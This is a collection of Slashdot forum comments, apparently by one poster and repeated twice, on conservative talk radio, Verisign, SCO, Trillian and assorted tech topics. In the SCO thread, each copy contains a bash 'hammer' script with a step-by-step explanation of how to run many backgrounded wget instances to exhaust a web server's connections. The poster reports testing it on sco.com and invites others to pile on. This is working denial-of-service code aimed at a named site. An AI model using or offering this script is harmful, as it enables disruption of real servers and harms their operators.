Wow, another bleeding heart telling us we should feel bad if we don't spend all our waking hours taking care of the poor people.
You say case mods, games and broadband are not relevant or on topic? This is slashdot, this is not 'SaveTheWorld.org'
How totally pissed off and white do you have to be in order to walk around 100% of the time consumed with guilt that others are hungry? How arrogant must you be to come to a tech site and tell us how uninlightened we are because we are speaking about technical things.
Go preach your tree hugging gospel elsewhere please. This is "News for Nerds" not "Articles about Social Issues" as your site claims to be.
I have a box I use for recording original voice overs and music. Its an older 500mhz, 256mb ram, 98SE box with an emu card (direct recording) and I pull over data from a stand alone digital recorder I have. After much trial and error, I finally said screw it, took it off the net, reinstalled everything stock, and haven't had a problem in two years.
The lesson I learned was: For a mission critical system, if you CAN, you SHOULD get the thing off the internet so you can ditch updates and AV (I scan everything before I bring it over). No norton anything, no firewall, no utilities, no nothing except OS and applications. (what a concept) I did notice that without any patches or other "unnecessary software", the sucker screams! At least as fast as my 1100mhz xp laptop. It also seldom crashes.
You may not have this option, but if it's possible, its worth the results.
Not all stories are posted on the front page. Each sections has stories that have never seen the front page. They only post about 12 stories a day on the front page, but many more that are listed only within that given section.
Look to your left, under "Stories". Pick "topics" and roam to see.
I think Microsoft should support OpenOffice. Do you think they will?
You make a good point. In spite of other saying the comparison doesn't jive, it does. Both MS and Yahoo have a product to sell. One is in a box, the other is served up one ad at a time.
No, they should not have to open up. If everyone wants to create an open server for Trillian and every other IM client, then do so instead of leeching off of AOL and Yahoo.
Its very simple: You get to use their service in exchange for filling out a profile and looking at a few ads. If you can configure a hack to bypass an ad, fine. But if you are a COMPANY that profits from that hack, then you are a parasite. Trillian is profiting from leeching off Yahoo's and AOL's servers. If Yahoo and AOL didn't mind, that would be one issue. But they have the absolute right to block Trillian or anyone else that is using their network for profit or non-profit uses.
What supprises me is that they didn't finally go to 1GHz FSB. , I know, that would mean you need DDR500(PC4000).
Actually, no you don't. Apple sells their dual 2ghz box, that has a 1ghz fsb (dual pipe), and 400mhz ram. goto apple.com/powermac for info. It obviously doesn't talk to the ram that fast, but 1g pipe to the chipset doesn't suck either. Oh yea, and up to 8gb of ram so far. its a bit different in other aspects as well.
I am just waiting to score one of the dual 2.0 boxes used (cant afford $3500) but that will take a while. They also bench out better cycle to cycle that intel (similar to amd or better) Its actually the IBM 970 cpus (reduced power 4 cpu) that IBM is said to be releasing soon in entry level servers, with 4 cpus, for $3500, for Linux.
Fusion is how almost all reactors work...the think with this kid is that he's so young and did it all by himself(I assume).
Um, I thought all electricial nuclear reactors worked by FISSION, the breaking down of radioactive elements, not FUSION, where they are literally fused together, at usually extremely high temperatures and pressures.
Even Mr. Burn's Yacht was named "Gone Fission".
I mean, I am not physicist, but something is fishy about your explanation.
I have to admit, I was wincing while I clicked that domain. Last thing I wanted to see what the goatse effect on a cat....
But I would agree that this is "acceptable" but not great. The problem is if you are GOING TO have "this site is not registered" then technically, it should not be offered by Verisign only. It should either rotate among all the domain name providers, or provide a list of "companies that can register this name for you" with NO Verisign specific logo. Thus, no incentive tho, huh?
All said and done, its better to just let a mistyped URL die the natural way, the way God intended it.:D
I'm not a DNS wizard, but couldn't Verisign counter this by providing a valid NS RR for non-existant domains that points to one of their nameservers, then dish up IN A 64.94.110.11 from there?
The problem is there is an infinate number of invalid domains. aaaaaa.com, aaaaab.com, aaaaac.com, etc. That would be one big ass named.conf file for the SOA, and other stuff too.
Fortunately, most growth in the US is in small businesses, which are more willing to switch. I have already installed Star Office 6 on two machines and OO on a few machines. The machines running MS office are running the 97 version and will not be updated. We have less than 25 people in the company using computers.
What got MY boss on the Open Source highway was all the news stories I sent him about MS licensing, the new "We get to roam around your hard drive" provisions, plus the BSA fines of $100,000 for accidental infringement. He still insists on using one Windows application, but I am scheduled to get it running on Wine soon, to start replacing the windows boxes. (Dammit, why can't RH support Wine in a stock install!)
I used the old "All your base are belong to us" tactic, which of course, is now true with MS licensing. This should not be confused with the The Chewbacca Defense. He is not a PHB but he knows what being sued is, knows what fines are, and knows what the blue screen of death is.
My guess (and it's no more than a guess) is that Rush's core audience is people who believe in strong, restrictive laws and do not cherish the idea of free goods or free news.
Not really, the opposite would be true. His audience is varied but if anything, you will find a larger degree of "small govt. / no regulation" listeners. Many geeks and tech-savvy people listen to Rush. There have been several studies regarding his listeners, and you may be shocked. Half are democrats and/or liberals. He actually has a very hip audience, younger than himself. His website has tons of great info for free. You just pay for the premium content, like high bandwidth feeds of audio and video, and full access to the archives. I can listen to last Tuesday's show, commercial free, on the web. Many of Rush's listeners listen to him on the web, via streaming audio. FOR FREE. Membership gets you a 20k audio only feed instead of the 8k feed, and a 150k video feed of the ditto cam. Most of the content is free.
He created the business model by NOT doing what anyone else was doing, but instead figuring out what people wanted, and gives it to them. Regardless of content, he has shown that it is a good business model for selling infotainment, anyway. He was a bit late bring the website online, but he explained it along the way. He wanted to do more than just put up a website, he thought it through and developed the business model he is still using. You could email rush way back in the mid 90's tho, he was online before most people. (he uses Macs, and started on Compuserve). The site uses minimal ads, no popups and actually has a good design.
Come to think of it, Rush's audience overlaps quite a bit with the WSJ's readership, doesn't it?
There probably is a large overlap seeing that many small business owners listen to him, both liberal and conservative.
Flame me if you must
Naw, nothing to flame. I believe you are mistaken in your evaluation of the audience (as backed up by recent studies), but that's a common misconception. Your opinion of his show is just as valid as mine. I never said I would +5 him on everything, although I would find him at least +4 Funny.
hehe, you would be surprised. In the years I have been on/., I have discovered about half are conservatives. The difference is the conservatives TALK about their beliefs, many of the socialists and liberals tend to just attack the person instead of the ideas.
I hate to generalize, really, because most of my offical "friends" on slashdot are actually liberals who are intellegent and will debate a point well. I welcome the debate.
Then again, I don't really mind the socialist/extremist kinds of people either, because by attacking us on a personal level, and just calling names, they demonstrate they have no IDEAS worth discussing or defending. The Earth Liberation Front, who recently trashed the Hummer dealership in California is a great example.
Even if you think that addicts deserve what comes to them, they'll take a lot of innocent people with them.
That is my reason for wanting to legalize it. If you want to OD or stay fried, or just smoke pot, to me, that is your right. Breaking into my house to steal stuff to sell is not. We probably agree on this. But I am not a libertarian. They are quite isolationist. My primary reasons for everything is individual freedom: the literal interpretation of the constitution. This is not too far from the ancient form of liberalism "if it doesn't affect others, the govt. has no interest in restricting it".
He views everything that way. I've always assumed that his popularity comes from people who just don't want to bother with complicated social and moral arguments. They believe what they believe, and they're tired of being told they shouldn't believe it.
You would be surprised if you actually listened. Rush is like drinking scotch: It's an aquired taste. But he really DOESNT oversimply stuff. He will oversimplify by putting things in terse form, but he does go and explain in great detail WHY he believes that way. Even if you don't agree, like I said, it is often quite entertaining.
The term infotainment, well, he IS. Entertainment that is based upon news/information. He says frankly that he is not a journalist. His job is not to tell you the news. His job is to tell you what to think about it. Now, if you really KNOW the show, you know this is a joke. He also says "Talent on loan from God" which gets people all freaked out. He is talented, obviously, but if you THINK about it (and he has explained it) he is simply saying "The talent that I have is not mine, but due to a higher power". What makes it funny is how people think he is saying he IS God, so they freak out, and they are fun to listen to.
I would take issue with the "inner bigot" since Rush is NOT a bigot. You really have to fully understand the concept of true conservatism to understand this. I don't take it as flamebait from you, but just a misunderstanding. We can disagree on HOW to deal with race problems, for instance, but don't think for a minute that conservatives don't care. SOME don't. But true conservatism demands that all persons are treated equal. No one is better or less. This is the idea behind flat taxes, vouchers (which 90% of which end up going to blacks/asians anyway) and why we are against afirmative action. Its not "screw them" its "lets make a level playing field".
Ronald Reagon's solution was to not GIVE black americans money, but to instead develop a program that gave them very low interest loans to start businesses. You may be shocked to know this, but I think that black americans could do much better if SOME black leaders didn't treat them like victims. There are inequities that need to be delt with, but I personally believe that a black man is not any less intellegent than a white man, and to promote him purely by his skin color is telling him "You can't compete because you are black, so we will lower the standards for you".
We have different ideas about HOW to deal with problems, but please don't fall into the trap of thinking that most conservatives are bigots. Most are not. Many are, just as there are many liberals who are so filled with guilt, they always blame America and white people first. But I know MOST are not that way.
As a friend, I would seriously recommend you go to the wegsite once a week, and just peek at the text available, looking open minded and deeper than just the surface. READ the reasoning to understand conservatism. He doesn't speak for all conservatives, but he speaks well for many of us. Getting a deeper understanding of conservatism can only deepen your own convictions or expose you to a different method of obtaining your existing goals. Neither is a bad thing. THIS is why so many liberals listen to him.
If he was a bigot and a hater, he wouldn't have the audience he has (20+ millio
I was thinking more along the lines of "narrowly targeted". I've never known anyone who so completely dedicated themselves to preaching to the choir.
Actually, that is not true. There have been several studies out that prove that half his listening audience are liberals and/or democrats. It is NOT just for conservatives. Its funny as hell sometimes, whether or not you agree with him. The narrowness of what he does is not in the audience, its in the format and general content. Its really no different that a steak house specializing in steaks. He does one thing, and does it well.
I am much more conservative than Rush and find myself disagreeing with him often. (I think crack should be free and legal to thin the herd, for example) Its the entertainment, or rather INFOTAINMENT that brings me back. He didn't invent it, but he perfected it. This is where liberal hosts have failed, focusing on the wrong stuff. I mean come on, go listen to the Paul Shanklin song "In a Hugo" and TELL me that is not funny! It debuted on Rushes show and is still a staple.
I was a bit surprised when I first heard that many liberals listened, but a few newspapers have done detailed studies that demonstrated this. The irony is that this was NOT what they *wanted* to demonstrate when they started out. This is a positive sign, it means that maybe there ARE some liberals that have a sense of humor:)
Sooner or later all the idiots who have money caught associated with SCO are going to loose most if not all of it. Then they will sue the company executives... The proper way of taking advantage of this is having a drink when they go down and laughing at all the investors.
Actually, this is about the most sensible idea I have heard. Any geek trying to buy/short stocks on this one probably needs to check out "Gamblers Anonymous". There is a non-geek day trader wannabe in our office who said "Man, have you seen what SCO's stock is doing?". I really don't like him, so I just said "no" and moved along, leaving him to his own devices.:D
That's actually a really good idea. We could use Web Crawlers (or pigeons...:-) ) to our advantage.
IANAUH (I am not a uber hacker) but I enjoy doing stupid shit that pisses others off. I have been having lots of fun with wget lately, including the little script I call 'hammer'.
#!/bin/bash # Hammer script. if [ "$1" = "" ]; then echo "You must pass the website as an option." echo "IE: hammer http://www.sco.com" exit 1 fi wget -p -r -l 5 -b --cache=off --delete-after --no-http-keep-alive $1 #end of script.
-p gets zip, jpg, gifs. (prerequisites to view) -r is recursive. (go deep) -l 5 says go 5 levels deep, raise as necessary. -b backgrounds it quietly. --delete-after deletes files as you go. --cache=off tells it "Pragma: no-cache" so it reads from hard drive, not from cache. --no-http-keep-alive tells it to not keep the connection alive, but to make a seperate http connection for each request.
This is an improvement from my previous scripts at using wget to rape webservers, but you need to start each instance manually. It was fully testing on www.sco.com to insure it works.
Assuming you have a T1, and assuming they have 1 web server using default setting at 150 connections, and they try to keep alive for 15 seconds (apache default) then by backgrounding 10 to 15 copies of this, you can generate enough traffic to peg it out by virtue of too many clients. Now, multiply by enough other people doing this, and you can take down a small farm. This works by creating too many clients, not too much bandwidth. If you have the ram, you can probably start 50 instances of this script pretty easily on a p3/1.0 and still have cpu to spare.
Be sure to send a "killall -9 hammer; killall -9 wget" to stop this madness, since it is quietly running in the background. There is probably many different ways to do this, I just so happen to use wget ALOT for legitimate uses, so it's handy. I suggest you read the man for wget for other very cool options.
An observant person (don't seem to be a lot around here) will have noticed that one of the few pay-for-access web sites that actually have customers is the one owned by the Wall Street Journal.
Rush Limbaugh's 24/7 program is similar in that you pay around $45 a year ($75 for two years) for both the monthly newsletter and premium web access combined. $10 less for no newsletter.
Been a member for 2 years now, and I find it's worth it, even tho I only hit it 2 or 3 times a month. Also give access to higher bandwidth audio stream of the live show, which is nice in a steel building with no reception. Plus tons of good links, video feeds, access to tons of audio and video links, and archived shows. When you listen to the archives, there are NO commercials, and when you listen live online, you get bumper music instead of commercials when you are a paying member.
My opinion is that the Rush program works because it is not "all things for all people" but rather a very focused delivery system for specific content, conservative politics.
Not everyone is into it, but they have a ton of members and provide exceptional content for those who like it. If you like the Rush show (I do) it provides very nice access with no commercials. It is a pretty good model for others.
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Wow, another bleeding heart telling us we should feel bad if we don't spend all our waking hours taking care of the poor people.
You say case mods, games and broadband are not relevant or on topic? This is slashdot, this is not 'SaveTheWorld.org'
How totally pissed off and white do you have to be in order to walk around 100% of the time consumed with guilt that others are hungry? How arrogant must you be to come to a tech site and tell us how uninlightened we are because we are speaking about technical things.
Go preach your tree hugging gospel elsewhere please. This is "News for Nerds" not "Articles about Social Issues" as your site claims to be.
I wonder if Sun will now port Java over to the C64? ;)
I have a box I use for recording original voice overs and music. Its an older 500mhz, 256mb ram, 98SE box with an emu card (direct recording) and I pull over data from a stand alone digital recorder I have. After much trial and error, I finally said screw it, took it off the net, reinstalled everything stock, and haven't had a problem in two years.
The lesson I learned was: For a mission critical system, if you CAN, you SHOULD get the thing off the internet so you can ditch updates and AV (I scan everything before I bring it over). No norton anything, no firewall, no utilities, no nothing except OS and applications. (what a concept) I did notice that without any patches or other "unnecessary software", the sucker screams! At least as fast as my 1100mhz xp laptop. It also seldom crashes.
You may not have this option, but if it's possible, its worth the results.
Not all stories are posted on the front page. Each sections has stories that have never seen the front page. They only post about 12 stories a day on the front page, but many more that are listed only within that given section.
Look to your left, under "Stories". Pick "topics" and roam to see.
I think Microsoft should support OpenOffice.
Do you think they will?
You make a good point. In spite of other saying the comparison doesn't jive, it does. Both MS and Yahoo have a product to sell. One is in a box, the other is served up one ad at a time.
No, they should not have to open up. If everyone wants to create an open server for Trillian and every other IM client, then do so instead of leeching off of AOL and Yahoo.
Its very simple: You get to use their service in exchange for filling out a profile and looking at a few ads. If you can configure a hack to bypass an ad, fine. But if you are a COMPANY that profits from that hack, then you are a parasite. Trillian is profiting from leeching off Yahoo's and AOL's servers. If Yahoo and AOL didn't mind, that would be one issue. But they have the absolute right to block Trillian or anyone else that is using their network for profit or non-profit uses.
It's their servers. That is the bottom line.
What supprises me is that they didn't finally go to 1GHz FSB. , I know, that would mean you need DDR500(PC4000).
Actually, no you don't. Apple sells their dual 2ghz box, that has a 1ghz fsb (dual pipe), and 400mhz ram. goto apple.com/powermac for info. It obviously doesn't talk to the ram that fast, but 1g pipe to the chipset doesn't suck either. Oh yea, and up to 8gb of ram so far. its a bit different in other aspects as well.
I am just waiting to score one of the dual 2.0 boxes used (cant afford $3500) but that will take a while. They also bench out better cycle to cycle that intel (similar to amd or better) Its actually the IBM 970 cpus (reduced power 4 cpu) that IBM is said to be releasing soon in entry level servers, with 4 cpus, for $3500, for Linux.
Fusion is how almost all reactors work...the think with this kid is that he's so young and did it all by himself(I assume).
Um, I thought all electricial nuclear reactors worked by FISSION, the breaking down of radioactive elements, not FUSION, where they are literally fused together, at usually extremely high temperatures and pressures.
Even Mr. Burn's Yacht was named "Gone Fission".
I mean, I am not physicist, but something is fishy about your explanation.
Take a look at http://www.catse.cx.
:D
I have to admit, I was wincing while I clicked that domain. Last thing I wanted to see what the goatse effect on a cat....
But I would agree that this is "acceptable" but not great. The problem is if you are GOING TO have "this site is not registered" then technically, it should not be offered by Verisign only. It should either rotate among all the domain name providers, or provide a list of "companies that can register this name for you" with NO Verisign specific logo. Thus, no incentive tho, huh?
All said and done, its better to just let a mistyped URL die the natural way, the way God intended it.
I'm not a DNS wizard, but couldn't Verisign counter this by providing a valid NS RR for non-existant domains that points to one of their nameservers, then dish up IN A 64.94.110.11 from there?
The problem is there is an infinate number of invalid domains. aaaaaa.com, aaaaab.com, aaaaac.com, etc. That would be one big ass named.conf file for the SOA, and other stuff too.
The next hurricane is coming soon, but subscribers can beat the rush and flee the territory early!
That is actually worth a mod point for funny. Too bad I don't have any...
Hey, what is the file allyourbase.c doing in your source RPM? ;)
Fortunately, most growth in the US is in small businesses, which are more willing to switch. I have already installed Star Office 6 on two machines and OO on a few machines. The machines running MS office are running the 97 version and will not be updated. We have less than 25 people in the company using computers.
What got MY boss on the Open Source highway was all the news stories I sent him about MS licensing, the new "We get to roam around your hard drive" provisions, plus the BSA fines of $100,000 for accidental infringement. He still insists on using one Windows application, but I am scheduled to get it running on Wine soon, to start replacing the windows boxes. (Dammit, why can't RH support Wine in a stock install!)
I used the old "All your base are belong to us" tactic, which of course, is now true with MS licensing. This should not be confused with the The Chewbacca Defense. He is not a PHB but he knows what being sued is, knows what fines are, and knows what the blue screen of death is.
Fucked Over Rebuilt Dodge
(sorry)
My guess (and it's no more than a guess) is that Rush's core audience is people who believe in strong, restrictive laws and do not cherish the idea of free goods or free news.
Not really, the opposite would be true. His audience is varied but if anything, you will find a larger degree of "small govt. / no regulation" listeners. Many geeks and tech-savvy people listen to Rush. There have been several studies regarding his listeners, and you may be shocked. Half are democrats and/or liberals. He actually has a very hip audience, younger than himself. His website has tons of great info for free. You just pay for the premium content, like high bandwidth feeds of audio and video, and full access to the archives. I can listen to last Tuesday's show, commercial free, on the web. Many of Rush's listeners listen to him on the web, via streaming audio. FOR FREE. Membership gets you a 20k audio only feed instead of the 8k feed, and a 150k video feed of the ditto cam. Most of the content is free.
He created the business model by NOT doing what anyone else was doing, but instead figuring out what people wanted, and gives it to them. Regardless of content, he has shown that it is a good business model for selling infotainment, anyway. He was a bit late bring the website online, but he explained it along the way. He wanted to do more than just put up a website, he thought it through and developed the business model he is still using. You could email rush way back in the mid 90's tho, he was online before most people. (he uses Macs, and started on Compuserve). The site uses minimal ads, no popups and actually has a good design.
Come to think of it, Rush's audience overlaps quite a bit with the WSJ's readership, doesn't it?
There probably is a large overlap seeing that many small business owners listen to him, both liberal and conservative.
Flame me if you must
Naw, nothing to flame. I believe you are mistaken in your evaluation of the audience (as backed up by recent studies), but that's a common misconception. Your opinion of his show is just as valid as mine. I never said I would +5 him on everything, although I would find him at least +4 Funny.
I'm sorry, what's the point of this again?
Um, to reduce the risk to humans to launch satalites in space (recent Brazil accident kills many on ground).
To reduce the cost of launching satalites significantly, which reduces costs to use them to the whole world.
To reduce the ungodly pollution and risk associated with using highly toxic chemicals in traditional launches.
To allow scientific experimentation in space more affordably.
To reduce the number of humans it takes to get a payload into space. Stuff like Hubble.
To allow NON nasa pilots into space for science and (some day) recreation.
To act as a stepping stone to the moon, which is a stepping stone to mars.
Oh, I'm sorry, were you trolling, or do you just really not get it?
Oh yea, and screw the people that are starving. Tell them to get jobs. Have a nice day.
hehe, you would be surprised. In the years I have been on /., I have discovered about half are conservatives. The difference is the conservatives TALK about their beliefs, many of the socialists and liberals tend to just attack the person instead of the ideas.
I hate to generalize, really, because most of my offical "friends" on slashdot are actually liberals who are intellegent and will debate a point well. I welcome the debate.
Then again, I don't really mind the socialist/extremist kinds of people either, because by attacking us on a personal level, and just calling names, they demonstrate they have no IDEAS worth discussing or defending. The Earth Liberation Front, who recently trashed the Hummer dealership in California is a great example.
Even if you think that addicts deserve what comes to them, they'll take a lot of innocent people with them.
That is my reason for wanting to legalize it. If you want to OD or stay fried, or just smoke pot, to me, that is your right. Breaking into my house to steal stuff to sell is not. We probably agree on this. But I am not a libertarian. They are quite isolationist. My primary reasons for everything is individual freedom: the literal interpretation of the constitution. This is not too far from the ancient form of liberalism "if it doesn't affect others, the govt. has no interest in restricting it".
He views everything that way. I've always assumed that his popularity comes from people who just don't want to bother with complicated social and moral arguments. They believe what they believe, and they're tired of being told they shouldn't believe it.
You would be surprised if you actually listened. Rush is like drinking scotch: It's an aquired taste. But he really DOESNT oversimply stuff. He will oversimplify by putting things in terse form, but he does go and explain in great detail WHY he believes that way. Even if you don't agree, like I said, it is often quite entertaining.
The term infotainment, well, he IS. Entertainment that is based upon news/information. He says frankly that he is not a journalist. His job is not to tell you the news. His job is to tell you what to think about it. Now, if you really KNOW the show, you know this is a joke. He also says "Talent on loan from God" which gets people all freaked out. He is talented, obviously, but if you THINK about it (and he has explained it) he is simply saying "The talent that I have is not mine, but due to a higher power". What makes it funny is how people think he is saying he IS God, so they freak out, and they are fun to listen to.
I would take issue with the "inner bigot" since Rush is NOT a bigot. You really have to fully understand the concept of true conservatism to understand this. I don't take it as flamebait from you, but just a misunderstanding. We can disagree on HOW to deal with race problems, for instance, but don't think for a minute that conservatives don't care. SOME don't. But true conservatism demands that all persons are treated equal. No one is better or less. This is the idea behind flat taxes, vouchers (which 90% of which end up going to blacks/asians anyway) and why we are against afirmative action. Its not "screw them" its "lets make a level playing field".
Ronald Reagon's solution was to not GIVE black americans money, but to instead develop a program that gave them very low interest loans to start businesses. You may be shocked to know this, but I think that black americans could do much better if SOME black leaders didn't treat them like victims. There are inequities that need to be delt with, but I personally believe that a black man is not any less intellegent than a white man, and to promote him purely by his skin color is telling him "You can't compete because you are black, so we will lower the standards for you".
We have different ideas about HOW to deal with problems, but please don't fall into the trap of thinking that most conservatives are bigots. Most are not. Many are, just as there are many liberals who are so filled with guilt, they always blame America and white people first. But I know MOST are not that way.
As a friend, I would seriously recommend you go to the wegsite once a week, and just peek at the text available, looking open minded and deeper than just the surface. READ the reasoning to understand conservatism. He doesn't speak for all conservatives, but he speaks well for many of us. Getting a deeper understanding of conservatism can only deepen your own convictions or expose you to a different method of obtaining your existing goals. Neither is a bad thing. THIS is why so many liberals listen to him.
If he was a bigot and a hater, he wouldn't have the audience he has (20+ millio
I was thinking more along the lines of "narrowly targeted". I've never known anyone who so completely dedicated themselves to preaching to the choir.
:)
Actually, that is not true. There have been several studies out that prove that half his listening audience are liberals and/or democrats. It is NOT just for conservatives. Its funny as hell sometimes, whether or not you agree with him. The narrowness of what he does is not in the audience, its in the format and general content. Its really no different that a steak house specializing in steaks. He does one thing, and does it well.
I am much more conservative than Rush and find myself disagreeing with him often. (I think crack should be free and legal to thin the herd, for example) Its the entertainment, or rather INFOTAINMENT that brings me back. He didn't invent it, but he perfected it. This is where liberal hosts have failed, focusing on the wrong stuff. I mean come on, go listen to the Paul Shanklin song "In a Hugo" and TELL me that is not funny! It debuted on Rushes show and is still a staple.
I was a bit surprised when I first heard that many liberals listened, but a few newspapers have done detailed studies that demonstrated this. The irony is that this was NOT what they *wanted* to demonstrate when they started out. This is a positive sign, it means that maybe there ARE some liberals that have a sense of humor
Now might be a good time to not take investmest advice from a stranger on a website.
Thanks for the advice....wait a minute...so now am I *supposed* to take your advice or not?!?
Now I'm in a paradox. In order to NOT take your advice, I must go take someone elses. Unfortunately, the next post says to buy and hold SCO stock.....
Sooner or later all the idiots who have money caught associated with SCO are going to loose most if not all of it. Then they will sue the company executives... The proper way of taking advantage of this is having a drink when they go down and laughing at all the investors.
:D
Actually, this is about the most sensible idea I have heard. Any geek trying to buy/short stocks on this one probably needs to check out "Gamblers Anonymous". There is a non-geek day trader wannabe in our office who said "Man, have you seen what SCO's stock is doing?". I really don't like him, so I just said "no" and moved along, leaving him to his own devices.
That's actually a really good idea. We could use Web Crawlers (or pigeons... :-) ) to our advantage.
IANAUH (I am not a uber hacker) but I enjoy doing stupid shit that pisses others off. I have been having lots of fun with wget lately, including the little script I call 'hammer'.
#!/bin/bash
# Hammer script.
if [ "$1" = "" ]; then
echo "You must pass the website as an option."
echo "IE: hammer http://www.sco.com"
exit 1
fi
wget -p -r -l 5 -b --cache=off --delete-after --no-http-keep-alive $1
#end of script.
-p gets zip, jpg, gifs. (prerequisites to view)
-r is recursive. (go deep)
-l 5 says go 5 levels deep, raise as necessary.
-b backgrounds it quietly.
--delete-after deletes files as you go.
--cache=off tells it "Pragma: no-cache" so it reads from hard drive, not from cache.
--no-http-keep-alive tells it to not keep the connection alive, but to make a seperate http connection for each request.
This is an improvement from my previous scripts at using wget to rape webservers, but you need to start each instance manually. It was fully testing on www.sco.com to insure it works.
Assuming you have a T1, and assuming they have 1 web server using default setting at 150 connections, and they try to keep alive for 15 seconds (apache default) then by backgrounding 10 to 15 copies of this, you can generate enough traffic to peg it out by virtue of too many clients. Now, multiply by enough other people doing this, and you can take down a small farm. This works by creating too many clients, not too much bandwidth. If you have the ram, you can probably start 50 instances of this script pretty easily on a p3/1.0 and still have cpu to spare.
Be sure to send a "killall -9 hammer; killall -9 wget" to stop this madness, since it is quietly running in the background. There is probably many different ways to do this, I just so happen to use wget ALOT for legitimate uses, so it's handy. I suggest you read the man for wget for other very cool options.
Which sort of describes everything Mr. Limbaugh does, no? ;)
True. No matter what anyone thinks about his politics, he has always been on the cutting edge of marketing himself AND his ideas.
too funny. as usual, someone disagrees with a conservatives point of view, and it becomes a personal attack instead of a debate about actual issues.
Thank you for proving the point. You make it entirely too easy to be right.
An observant person (don't seem to be a lot around here) will have noticed that one of the few pay-for-access web sites that actually have customers is the one owned by the Wall Street Journal.
Rush Limbaugh's 24/7 program is similar in that you pay around $45 a year ($75 for two years) for both the monthly newsletter and premium web access combined. $10 less for no newsletter.
Been a member for 2 years now, and I find it's worth it, even tho I only hit it 2 or 3 times a month. Also give access to higher bandwidth audio stream of the live show, which is nice in a steel building with no reception. Plus tons of good links, video feeds, access to tons of audio and video links, and archived shows. When you listen to the archives, there are NO commercials, and when you listen live online, you get bumper music instead of commercials when you are a paying member.
My opinion is that the Rush program works because it is not "all things for all people" but rather a very focused delivery system for specific content, conservative politics.
Not everyone is into it, but they have a ton of members and provide exceptional content for those who like it. If you like the Rush show (I do) it provides very nice access with no commercials. It is a pretty good model for others.
Sorry, but gravity is inversely preportional to the distance to the center of the earth. This is an interesting explaination. At 300 meters, you would feel .912 gs. At 35,000 km, it will be significantly lower. There is a formula on that page, to calculate it. A quick calculation showed .24gs at 35000km, but that still sounds too high.
Anyways, once something is at the end of that cable, it will have already achieved orbital velocity
Someone else pointed out that not all satalites are geosynchronous.